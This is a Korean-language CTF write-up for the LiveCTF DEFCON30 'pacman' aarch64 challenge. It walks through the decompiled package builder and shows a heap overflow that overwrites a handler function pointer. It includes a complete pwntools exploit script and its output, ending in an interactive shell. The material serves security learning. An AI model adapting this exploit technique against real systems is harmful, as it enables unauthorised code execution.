콘텐츠로 건너뛰기

[LiveCTF-DEFCON30] pacman

출처

https://github.com/Live-CTF/LiveCTF-DEFCON30/releases/tag/defcon30

checksec

[*] '/home/ubuntu/LiveCTF30/handout/pacman'
    Arch:       aarch64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

준비

  1. qemu-user 설치 필요.
  2. lib 디렉토리에 ld-linux-aarch64.so.1, libc.so.6 파일 복붙.
  3. challenge 스크립트, 아래와 같이 수정.
#!/bin/sh

# Requires (for ubuntu 22.04): qemu-user libc6-arm64-cross

BIN=${1:-./pacman}
exec qemu-aarch64 -cpu max -L ./ ${BIN}

4. IDA Pro에서 분석시 “PACDZA X0” 와 같이 PAC가 존재하므로,
Hex-Rays Decompiler Options → Analysis Options 2에서 “Show ARMv8.3 PAC instructions” 체크 활성화.

    Decompiled-src / Analysis

    main

    0, 1, 2 이외의 다른 메뉴 입력시 "Invalid choice" 문구 띄우면서 다시 메뉴 입력받음.

    0 → exit(0)
    1 → build_package()
    2 → install_package()

    int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
    {
      char choice[8]; // [xsp+10h] [xbp+10h] BYREF
    
      init();
      puts("This is PACman v0.1");
      puts(byte_401E00);
      while ( 1 )
      {
        puts("What do you want to do?");
        puts(byte_401E00);
        puts("0) Exit");
        puts("1) Build package");
        puts("2) Install package");
        printf("? ");
        strcpy(choice, "0");
        read(0, choice, 2u);
        if ( choice[0] == '2' )
        {
          install_package();
        }
        else
        {
          if ( (unsigned __int8)choice[0] <= (unsigned int)'2' )
          {
            if ( choice[0] == '1' )
            {
              build_package();
              goto LABEL_12;
            }
            if ( (unsigned __int8)choice[0] <= (unsigned int)'1' && (choice[0] == '\n' || choice[0] == '0') )
              exit(0);
          }
          puts("Invalid choice");
        }
    LABEL_12:
        puts(byte_401E00);
      }
    }

    build_package

    먼저 “? “ 문구를 띄우면서 메뉴 0, 1, 2 중에 뭐 선택할지 물음.

    void __cdecl build_package()
    {
      object_type v0; // w0
      bool end; // [xsp+17h] [xbp+17h]
      char *type; // [xsp+18h] [xbp+18h] BYREF
      char *path; // [xsp+20h] [xbp+20h] BYREF
      char *data; // [xsp+28h] [xbp+28h] BYREF
      package_object *head; // [xsp+30h] [xbp+30h]
      package_object *cur; // [xsp+38h] [xbp+38h]
      package_object *o; // [xsp+40h] [xbp+40h]
      size_t type_len; // [xsp+48h] [xbp+48h]
      size_t data_len_0; // [xsp+50h] [xbp+50h]
      void *p_0; // [xsp+58h] [xbp+58h]
      size_t path_len; // [xsp+60h] [xbp+60h]
      size_t data_len; // [xsp+68h] [xbp+68h]
      void *p; // [xsp+70h] [xbp+70h]
      void *p_1; // [xsp+78h] [xbp+78h]
      void *p_2; // [xsp+80h] [xbp+80h]
    
      head = 0;
      cur = 0;
      end = 0;
      while ( !end )
      {
        puts("Object type:");
        puts("0 = EOF");
        puts("1 = File");
        puts("2 = Run Script");
        o = (package_object *)calloc(1u, 0x1030u);
        if ( !o )
          err(1, "malloc(package_object)");
        type = 0;
        type_len = getinput("? ", &type);
        if ( !type || strlen(type) != 1 )
          fprintf(stderr, "Invalid object type input %s\n", type);
        o->type = (unsigned __int8)*type;
        v0 = o->type;
        if ( v0 == object_type::Script )
        {
          data = 0;
          data_len_0 = getinput("Script? ", &data);
          o->handler = (void (*)(void *))script_handler;
          o->file.data = data;
          p_0 = o->file.data;
          p_0 = ptrauth_sign_unauthenticated(p_0, ptrauth_key_asda, 0);
          o->file.data = (char *)p_0;
        }
        else
        {
          if ( (unsigned int)v0 > object_type::Script )
            goto LABEL_15;
          if ( v0 == object_type::End )
          {
            end = 1;
          }
          else
          {
            if ( v0 != object_type::File )
            {
    LABEL_15:
              fprintf(stderr, "Bad object type int = %d\n", o->type);
              exit(1);
            }
            path = 0;
            path_len = getinput("Path? ", &path);
            data = 0;
            data_len = getinput("Data? ", &data);
            o->handler = (void (*)(void *))file_handler;
            o->file.data = data;
            o->file.data_len = data_len;
            memcpy(&o->script + 2, path, path_len);
            o->file.path_len = path_len;
            p = o->file.data;
            p = ptrauth_sign_unauthenticated(p, ptrauth_key_asda, 0);
            o->file.data = (char *)p;
          }
        }
        p_1 = o->handler;
        p_1 = ptrauth_sign_unauthenticated(p_1, ptrauth_key_asda, 0);
        o->handler = (void (*)(void *))p_1;
        if ( head )
        {
          cur->next = o;
          p_2 = cur->next;
          p_2 = ptrauth_sign_unauthenticated(p_2, ptrauth_key_asda, 0);
          cur->next = (package_object *)p_2;
        }
        else
        {
          head = o;
        }
        cur = o;
      }
      printf("Package blob: ");
      write_package_blob(1, head);
    }
    void __cdecl file_handler(package_file *file)
    {
      __int64 v1; // kr00_8
      int fd; // [xsp+24h] [xbp+24h]
    
      fd = open(file->path, 0x41, 0644);            // 0x41 = O_WRONLY | O_CREAT;
      if ( fd < 0 )
        err(1, "open(file)");
      v1 = 0;
      file->data = (char *)ptrauth_auth_data(file->data, ptrauth_key_asda, &v1);
      write(fd, file->data, file->data_len);
      close(fd);
    }

    0은 object_type::End, end 변수가 1로 set되어 while(!end) 루프문을 빠져나감.

    Data를 A 8개, Path를 B 8개로 했을시,

    Package blob: 10000008AAAAAAAA0000008BBBBBBBB20000008AAAAAAAA10000008AAAAAAAA0000008BBBBBBBB0

    위와 같이 Package blob이 출력된다.

    ...
    if ( v0 == object_type::End )
    {
      end = 1;
    }
    ...
    printf("Package blob: ");
    write_package_blob(1, head);

    1은 object_type::File, PathData를 함께 입력받을 수 있음.
    여기서 Path 길이에 따라 memcpy에 의해 bof 취약점 발생 가능.

    o = (package_object *)calloc(1u, 4144u);
    ...
    if ( v0 != object_type::File )
    {
      fprintf(stderr, "Bad object type int = %d\n", o->type);
      exit(1);
    }
    path = 0;
    path_len = getinput("Path? ", &path);
    data = 0;
    data_len = getinput("Data? ", &data);
    o->handler = (void (*)(void *))file_handler;
    o->file.data = data;
    o->file.data_len = data_len;
    memcpy(&o->script + 2, path, path_len);
    o->file.path_len = path_len;
    p = o->file.data;
    p = ptrauth_sign_unauthenticated(p, ptrauth_key_asda, 0);
    o->file.data = (char *)p;
    ...
    size_t __cdecl getinput(const char *prompt, char **buf)
    {
      size_t len; // [xsp+20h] [xbp+20h] BYREF
    
      printf("%s", prompt);
      len = 0;
      len = getline(buf, &len, stdin);
      if ( (*buf)[len - 1] == 10 )
        (*buf)[--len] = 0;
      return len;
    }

    calloc(1u, 4144u)에 의해 할당된 주소 = 0x4142A0.

    Path? AAAAAAAA
    Data? BBBBBBBB 로 입력하고 memcpy(&o->script + 2, path, path_len);할 때를 살펴보면,
    x0 레지스터는 0x4142C0 주소를 가리킨다, 즉 할당된 주소 + 0x20이다.

    여기서 0x4152C8 - 0x4142C0 = 0x1008 ,
    0x1008만큼 더미를 채워서 file_handler 함수를 덮어쓸 수 있다.

    MEMORY:00000000004142A0 DCQ 0                                   ; next
    MEMORY:00000000004142A8 DCD object_type::File                   ; type
    MEMORY:00000000004142AC DCB 0, 0, 0, 0
    MEMORY:00000000004142B0 DCQ aBbbbbbbb                           ; file.data ; "BBBBBBBB"
    MEMORY:00000000004142B8 DCQ 8                                   ; file.data_len
    MEMORY:00000000004142C0 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0; file.path
    ...
    MEMORY:00000000004152B6 DCB 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
    MEMORY:00000000004152C8 DCQ file_handler                        ; handler

    2는 object_type::Script, Script? 문구와 함께 data를 입력받음.
    이미 1번 메뉴에서 Path와 Data 함께 입력받기에, 필요없음.

    if ( v0 == object_type::Script )
    {
      data = 0;
      data_len_0 = getinput("Script? ", &data);
      o->handler = (void (*)(void *))script_handler;
      o->file.data = data;
      p_0 = o->file.data;
      p_0 = ptrauth_sign_unauthenticated(p_0, ptrauth_key_asda, 0);
      o->file.data = (char *)p_0;
    }

    install_package

    parse_package_blob를 호출하여 파싱된 type에 따라
    handler에 저장된 함수가 호출될지 안될지 여부를 결정한다.

    만약 type이 1 또는 2라면, handler에 저장된 함수가 호출된다.

    void __cdecl install_package()
    {
      __int64 v0; // kr00_8
      unsigned int type; // w0
      __int64 v2; // kr08_8
      package_object *cur; // [xsp+18h] [xbp+18h]
    
      for ( cur = parse_package_blob(0); cur; cur = cur->next )
      {
        v0 = 0;
        cur->handler = (void (*)(void *))ptrauth_auth_data(cur->handler, ptrauth_key_asda, &v0);
        printf("Evaluating object of type %c...\n", (unsigned int)cur->type);
        type = cur->type;
        if ( type != '2' )
        {
          if ( type > '2' )
            goto LABEL_10;
          if ( type == '0' )
            exit(0);
          if ( type != '1' )
          {
    LABEL_10:
            fprintf(stderr, "Corrupt object type int = %d\n", cur->type);
            exit(1);
          }
        }
        cur->handler(&cur->file);
        v2 = 0;
        cur->next = (package_object *)ptrauth_auth_data(cur->next, ptrauth_key_asda, &v2);
      }
    }

    parse_package_blob

    입력된 blob에 따라 package_object를 할당하고 type에 따라 파싱역할을 한다.

    각 타입들은 build_package 내에 쓰인 type에 따라 작동한다고 보면 됨.

    package_object *__cdecl parse_package_blob(int fd)
    {
      unsigned int type; // w0
      bool end; // [xsp+2Fh] [xbp+2Fh]
      package_object *head; // [xsp+30h] [xbp+30h]
      package_object *cur; // [xsp+38h] [xbp+38h]
      package_object *o; // [xsp+40h] [xbp+40h]
      size_t data_len_0; // [xsp+48h] [xbp+48h]
      char *data_0; // [xsp+50h] [xbp+50h]
      size_t path_len; // [xsp+68h] [xbp+68h]
      char *path; // [xsp+70h] [xbp+70h]
      size_t data_len; // [xsp+78h] [xbp+78h]
      char *data; // [xsp+80h] [xbp+80h]
    
      head = 0;
      cur = 0;
      end = 0;
      while ( !end )
      {
        o = (package_object *)calloc(1u, 4144u);
        if ( !o )
          err(1, "malloc(package_object)");
        read_exactly(fd, &o->type, 1u);
        printf("Parsing object of type %c\n", (unsigned int)o->type);
        type = o->type;
        if ( type == '2' )
        {
          if ( is_running_safe() )
          {
            fwrite("Scripts not allowed unless PACMAN_UNSAFE=1\n", 1u, 0x2Bu, stderr);
            exit(1);
          }
          data_len_0 = read_size_field(fd);
          data_0 = (char *)malloc(data_len_0);
          if ( !data_0 )
            err(1, "malloc(data)");
          read_exactly(fd, data_0, data_len_0);
          o->handler = (void (*)(void *))script_handler;
          o->handler = (void (*)(void *))ptrauth_sign_unauthenticated(o->handler, ptrauth_key_asda, 0);
          o->file.data = data_0;
          o->file.data = (char *)ptrauth_sign_unauthenticated(o->file.data, ptrauth_key_asda, 0);
        }
        else
        {
          if ( type > '2' )
            goto LABEL_23;
          if ( type == '0' )
          {
            end = 1;
          }
          else
          {
            if ( type != '1' )
            {
    LABEL_23:
              fprintf(stderr, "Bad object type int = %d\n", o->type);
              exit(1);
            }
            path_len = read_size_field(fd);
            path = (char *)malloc(path_len);
            if ( !path )
              err(1, "malloc(path)");
            read_exactly(fd, path, path_len);
            if ( is_running_safe() && strchr(path, '/') )
            {
              fwrite("Subdirectories not allowed in safe mode\n", 1u, 0x28u, stderr);
              exit(1);
            }
            data_len = read_size_field(fd);
            data = (char *)malloc(data_len);
            if ( !data )
              err(1, "malloc(data)");
            read_exactly(fd, data, data_len);
            o->handler = (void (*)(void *))file_handler;
            o->handler = (void (*)(void *))ptrauth_sign_unauthenticated(o->handler, ptrauth_key_asda, 0);
            o->file.data = data;
            o->file.data_len = data_len;
            memcpy(&o->script + 2, path, path_len);
            o->file.path_len = path_len;
            o->file.data = (char *)ptrauth_sign_unauthenticated(o->file.data, ptrauth_key_asda, 0);
          }
        }
        if ( head )
        {
          cur->next = o;
          cur->next = (package_object *)ptrauth_sign_unauthenticated(cur->next, ptrauth_key_asda, 0);
        }
        else
        {
          head = o;
        }
        cur = o;
      }
      return head;
    }

    환경변수가 지정안되있고, “/” 필터링 처리가 되있기에
    Path를 임의로 지정해서 flag를 읽어낼 순 없을 것이다..

    if ( is_running_safe() && strchr(path, '/') )
    {
      fwrite("Subdirectories not allowed in safe mode\n", 1u, 0x28u, stderr);
      exit(1);
    }
    bool __cdecl is_running_safe()
    {
      char *unsafe; // [xsp+18h] [xbp+18h]
    
      unsafe = getenv("PACMAN_UNSAFE");
      return !unsafe || *unsafe == a1[0];
    }

    solve.py

    Path는 0x1008바이트만큼 더미로 채우고, script_handler 함수가 실행되게끔 handler를 덮어쓰게끔 만든다.
    Data“sh” 문자열로 지정해서 blob를 생성한다. (heap overflow)

    이후에 install_package 함수를 통해 생성된 blob을 넣게 되면,
    cur->handler(&cur->file); 코드에서 script_handler가 호출되면서 Data인 script->script가 인자로, system이 호출되면서 쉘을 딸 수 있었다.

    from pwn import *
    # context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    # p = remote("127.0.0.1", 1337)
    p = process("./challenge")
    e = ELF('./pacman',checksec=False)
    
    s = lambda str: p.send(str)
    sl = lambda str: p.sendline(str)
    sa = lambda delims, str: p.sendafter(delims, str)
    sla = lambda delims, str: p.sendlineafter(delims, str)
    r = lambda numb=4096: p.recv(numb)
    rl = lambda: p.recvline()
    ru = lambda delims: p.recvuntil(delims)
    uu32 = lambda data: u32(data.ljust(4, b"\x00"))
    uu64 = lambda data: u64(data.ljust(8, b"\x00"))
    li = lambda str, data: log.success(str + "========>" + hex(data))
    
    # build package
    sla(b'? ', b'1')
    
    # object_type::File
    sla(b'? ', b'1')
    sla(b'Path? ', b'A'*0x1008 + p64(e.symbols['script_handler']))
    sla(b'Data? ', b'sh')
    
    # object_type::End
    sla(b'? ', b'0')
    
    # get blob
    ru(b'blob: ')
    blob = ru(b'\nWhat')[:-5]
    success(f"blob: {blob}")
    
    # install_package with blob
    sla(b'? ', b'2')
    sl(blob)
    
    p.interactive()

    Result

    ubuntu@2d0f4d9a440c:~/LiveCTF30/handout$ python3 solve.py
    [+] Starting local process './challenge': pid 1112
    [+] blob: b'10004112AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x10\x00\x00\x00\x00\x00\x00\x18\x10@\x00\x00\x00<\x000000002sh0'
    [*] Switching to interactive mode
    Parsing object of type 1
    Parsing object of type 0
    Evaluating object of type 1...
    $ ls
    AAAAAAAA   challenge.bak	  lib	     pacman.i64  pacman.id2  solve.py
    answer.py  challenge_debug	  libc.so.6  pacman.id0  pacman.nam
    challenge  ld-linux-aarch64.so.1  pacman     pacman.id1  pacman.til
    $ id
    uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
    $  
    태그: